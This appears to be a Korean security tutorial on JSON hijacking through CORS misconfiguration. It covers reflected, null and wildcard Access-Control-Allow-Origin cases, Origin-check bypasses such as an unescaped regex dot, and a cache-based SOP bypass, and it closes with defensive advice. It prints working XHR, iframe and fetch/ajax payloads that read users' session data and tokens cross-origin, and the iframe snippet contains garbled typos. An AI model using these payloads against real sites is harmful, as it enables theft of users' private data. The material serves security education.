JSON Hijacking

Introduction

JSON Hijacking은 SOP의 예외를 위한 CORS 설정이 미흡한 경우 공격자가 사용자의 데이터 등을 임의로 탈취할 수 있는 공격 방법입니다.

CORS

CORS(Cross-site Origin Sharing)는 서버가 브라우저가 리소스 로드를 허용해야 하는 자체 소스 이외의 모든 오리진(도메인, 스키마 또는 포트)을 나타낼 수 있도록 하는 HTTP 헤더 기반 보안 메커니즘입니다. 그래서 브라우저는 모든 Cross site 간의 통신을 기본적으로 차단하고 해당 헤더로 허용 정책을 받은 서버에 대해서만 데이터를 주고받을 수 있도록 동작합니다.

그래서 실제로 데이터 통신이 일어나기 전에 CORS 정책을 준수하는지 체크하기 위해 OPTIONS Method로 체크를 진행합니다. 이러한 과정을 Preflighted Request라고 부릅니다.

Preflighted Request와 실제 데이터를 가져오기 위한 Request에서 모두 Origin 헤더를 통해 이 도메인에서 데이터를 가져갈 수 있는지 요청하고,

GET /get-info.json HTTP/1.1
Origin: https://trusted-site

서버는 ACAO(Access-Control-Allow-Origin)를 통해 사용할 수 있는 도메인의 정보를 내려주게 됩니다.

HTTP/1.1 200 OK
...snip..
Access-Control-Allow-Origin: https://trusted-site
Access-Control-Allow-Credentials: true

그리고 브라우저는 전달받은 ACAO와 기타 CORS 관련 헤더등을 참고하여 데이터 통신을 처리할지 결정하고 수행합니다.

Weakness

그래서 서버가 잘못된 ACAO 헤더를 전달하는 경우 허용되지 않는 도메인에서 임의로 사용자의 세션을 이용하여 데이터를 가져갈 수 있고, 이러한 경우를 CORS Misconfigration 그리고 실제로 탈취가 일어난다면 JSON Hijacking이라고 부릅니다.

Offensive techniques

Detect

공격자가 의도한 도메인을 Origin 헤더로 전송하여 ACAO 헤더(Access-Control-Allow-Origin)에 반영된다면 취약 하다고 판단할 수 있습니다. 일부 Wildcard(*)로 ACAO 헤더가 오는 경우가 있는데, 이러한 경우 모든 도메인에서 호출할 수 있지만, Access-Control-Allow-Credentials와 별개로 사용자의 쿠키를 붙여서 전송할 수 없게 됩니다. 자세한 내용은 이전 포스트를 참고해주세요.

GET /get-info.json HTTP/1.1
Origin: https://www.hahwul.com
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Content-Length: 223
Connection: keep-alive
Last-Modified: Fri, 03 Sep 2021 01:43:46 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Access-Control-Allow-Origin: https://www.hahwul.com
Access-Control-Allow-Credentials: true
Vary: Origin

Reflected ACAO

GET /get-info.json HTTP/1.1
Origin: https://attacker.com
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Null ACAO

ACAO 헤더는 Null을 반환할 수도 있습니다.

GET /get-info.json HTTP/1.1
Origin: null
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

RFC 6454 에선 privacy-sensitive context 에서 null을 전송하라고 명시되어 있습니다. privacy-sensitive context에 포함되는건 아래와 같습니다.

  • Anchor Tag/hyperlink click
  • Window navigation
  • Image load (<img> tag)
  • Stylesheet
  • Dependent load in stylesheet

문제는 null인 경우에 아래와 같이 sandbox iframe을 이용하여 탈취할 수 있습니다.

<iframe name="malicious" srcdoc="<script>
    varr = new XMLHttpRequest();
    var url = 'https://target_site;
    ropen('GET', url, false);
    r.withCredentials=true;
    r.sendo:
    </script>" sandbox="allow-scripts" width="Opx" height="Opx" style="border: Opx none;"> 
</iframe>

아래 stackoverflow 글도 같이 참고하시면 좋습니다.

https://stackoverflow.com/questions/42239643/when-do-browsers-send-the-origin-header-when-do-browsers-set-the-origin-to-null

Wildcard ACAO

Wildcard(*)로 응답하는 경우 어떤 도메인에서도 데이터를 처리할 수 있습니다. 단 사용자의 세션(쿠키, 인증헤더 등)은 포함시킬 수 없습니다. 그래서 JSON Hijacking 등 사용자 세션 기반의 공격 관점에선 오히려 안전한 형태의 설정이지만, 무분별한 API 호출로 어뷰징이 가능할 수도 있습니다.

그래서 보안, 개발에선 직접 도메인을 설정하는게 안전한지, Wildcard를 설정하는게 안전한지 검토하고 테스트하여 선택 적용하는 것이 좋습니다.

GET /get-info.json HTTP/1.1
Origin: *
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: *

Exploitation

ACAO에 공격자가 의도한 도메인을 반영할 수 있다면 해당 도메인에선 사용자의 세션을 이용하여 데이터를 가져올 수 있다는 것을 의미합니다.

var http = new XMLHttpRequest();
http.open("GET", "https://weak-service/get-info.json", true);

http.setRequestHeader("Content-Type","application/json");
http.withCredentials = true;
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
        document.write("Responsed data<hr>"+http.responseText);
    } else {
        document.write("Error");
    }
}
http.send();

Bypass protection

Bypass Origin

Origin 헤더에 대해 검증하는 절차가 있는 경우 어떤 형태로 검증 하는지 파악해야합니다. 정확하게 도메인을 식별한다면 우회가 어렵겠지만, 문자열 또는 정규식 기반으로 식별하는 경우 우회할 가능성이 높습니다. Origin의 경우 Referer 헤더와 다르게 Path가 붙지 않기 때문에 도메인을 이용한 우회 방법이 최선입니다.

대표적인 방법으론 trust domain을 subdomain으로 위장하는 방법입니다. 단순히 해당 도메인의 문자열이 있는지 걸러내는 경우 쉽게 우회할 수 있습니다.

Origin: trust.domain.attacker.domain

.(dot)은 정규표현식에서 개행문자를 제외한 모든 문자를 의마합니다. 그래서 만약 trust.domain 이란 도메인으로 검증하기 위해 정규표현식에 trust.domain 으로 검사하는 경우 .이 실제 문자 .이 아닌 정규표현식으로 해석되어 아래와 같은 패턴이 통과할 수 있습니다.

Origin: attacker.trustadomain
Origin: attacker.trustbdomain
Origin: attacker.trustcdomain

생각보다 잘 발생하는 케이스로 알아두면 우회하는데 큰 도움이 됩니다.

Bypass with dot

Origin 검사는 보통 정규표현식을 많이 사용합니다. 이 때 dot(.)의 존재를 개발자가 잘 놓치기 쉽고, 아래와 같이 . 을 직접 사용하였을 경우 메타 문자로 동작하여 우회할 수 있습니다.

config.middleware.insert_before 0, Rack::Cors do
 allow do
   origins /^https:\/\/[0-9]{1,6}.apps.trusted.com/
   resource '*', headers: :any, methods: %i[get post head]
 end 
end
Origin: https://123.apps.trusted.com (O)
Origin: https://123.google.com (X)
Origin: https://111.apps1trusted.com (O)

이와 관련된 자세한 내용은 CORS Bypass via dot 글을 참고해주세요!

Bypass with Caching

ACAO가 Wildcard(*)인 상태는 일반적으로 유저 세션을 사용할 수 없어 JSON Hijacking이 불가능하지만, 만약 JSON Response 페이지의 Cache-Control로 인해 로컬 캐싱되는 경우 SOP를 우회하여 정보를 가져올 수 있습니다.

Access-Control-Allow-Origin: *

Cached 데이터를 읽는 과정은 실제 서버로 데이터를 요청하지 않고 브라우저 내에 저장된 데이터를 바로 읽어 사용자에게 제공합니다. 이걸 이용하여 공격자가 중요 정보가 있는 페이지를 사용자의 세션으로 캐싱시킨 후 ACAO가 Wildcard인 상태에서 이미 캐시된 결과를 읽어오는 형태로 SOP를 통과할 수 있습니다. (왜냐면 Origin 정책이 wildcard 일 때 인증을 포함하지 않는 요청은 response를 읽을 수 있기 때문이죠 😁)

예를들어 인증 상태에서만 사용자 정보를 내려주는 페이지가 있다고 가정합시다.

With Auth

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

{"username":"hahwul","token":"ABCDEFG123456"}

Without Auth

HTTP/1.1 403 FORBIDDEN
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

이 때 ACAO가 * 인 상태에서 CSRF와 같이 SOP의 영향을 받지 않는 요청(img, form, etc…)을 통해 HTTP Request를 전송합니다.

<img src="https://vuln.hahwul.com/get-token">

그러면 아래와 같이 사용자 정보를 포함한 요청이 Response로 전달됩니다. 당연히 공격코드는 이를 읽을 수 없습니다. 단 response 내 cache-control로 인해 해당 데이터는 사용자의 브라우저에 캐시됩니다.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600

{"username":"hahwul","token":"ABCDEFG123456"}

이제 withCredentialsfalse로 주고 $.ajax를 통해 HTTP Request를 전송해봅시다. ACAO가 *이기 떄문에 이 코드는 Response의 데이터를 핸들링할 수 있습니다. 다만 사용자의 쿠키정보는 웹 요청에 포함되지 않습니다.

$.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });

이 때 웹 브라우저는 캐시된 데이터를 읽어오기 때문에 body에 아래 정보가 포함되어 response로 전달됩니다.

{"username":"hahwul","token":"ABCDEFG123456"}

그러면 공격자는 SOP를 무시하고 사용자의 정보를 탈취할 수 있습니다. 전체 공격 플로우를 담은 코드는 아래와 같고, 자세한 내용은 예전에 작성한 글을 참고해주세요 :D

<!-- Step1, Caching with Auth -->
<script>  
var url = "https://vuln.hahwul.com/get-token";  
fetch(url, {    
    method: 'GET',    
    cache: 'force-cache'
    });
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vuln.hahwul.com/get-token"> -->

<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
  // get information without auth
  $.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });
}, 2000);
</script>

Defensive techniques

CORS 사용이 필요한 페이지에선 ACAO 헤더에 대해 도메인을 정확하게 내려주는 것이 좋습니다. 만약 로컬에서만 호출되는 페이지라면 ACAO 헤더 자체를 사용하지 않는 것이 가장 좋습니다.

또한 민감정보의 경우 Response 내 cache-control을 적절히 설정하여 (no-cache 등) 데이터가 로컬 브라우저에 파일로 캐시되지 않도록 처리해주는 것이 좋습니다. (특히 ACAO *을 허용하는 경우)

References

  • https://www.hahwul.com/2020/01/12/json-hijacking-sop-bypass-technic-with-cache/
  • https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/
  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration